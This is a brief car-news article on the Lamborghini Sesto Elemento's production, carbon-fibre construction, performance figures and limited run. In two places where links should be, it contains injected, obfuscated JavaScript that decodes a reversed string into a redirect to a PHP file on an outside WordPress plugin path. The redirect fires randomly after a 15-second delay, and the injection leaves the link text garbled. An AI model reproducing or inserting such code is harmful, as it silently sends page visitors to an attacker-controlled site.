The stunning Lamborghini Sesto Elemento has finally gone in to production after over two years of teasing since its debut at the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/lamborghini-sesto-elemento-paris-motorshow/” target=”_blank”>2010 Paris Motor Show.
The name, which is Italian for ‘Sixth Element’, refers to the atomic number of carbon and for good reason. Almost every component that could be manufactured from carbon fibre has been.
Carbon fibre chassis, body, driveshaft and suspension components all add up to less than a metric ton of feathers – 999kg. Combined with the 5.2-L V10 from the Gallardo LP570-4 Superleggera, performance is stonkingly quick hitting 100 kph in 2.5 seconds and with a top speed of 320 kph.
Only 20 units of the Sesto Elemento are being produced at the special Pre-Series Centre in Sant’Agata Bolognese in Italy ($VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/a-grande-day-out-lamborghini-the-factory-tour/”>and we’ve seen the final test car in the flesh – HERE). All have been pre-sold for $2 Million a piece although ‘alledgedly’ they will be for track use only.
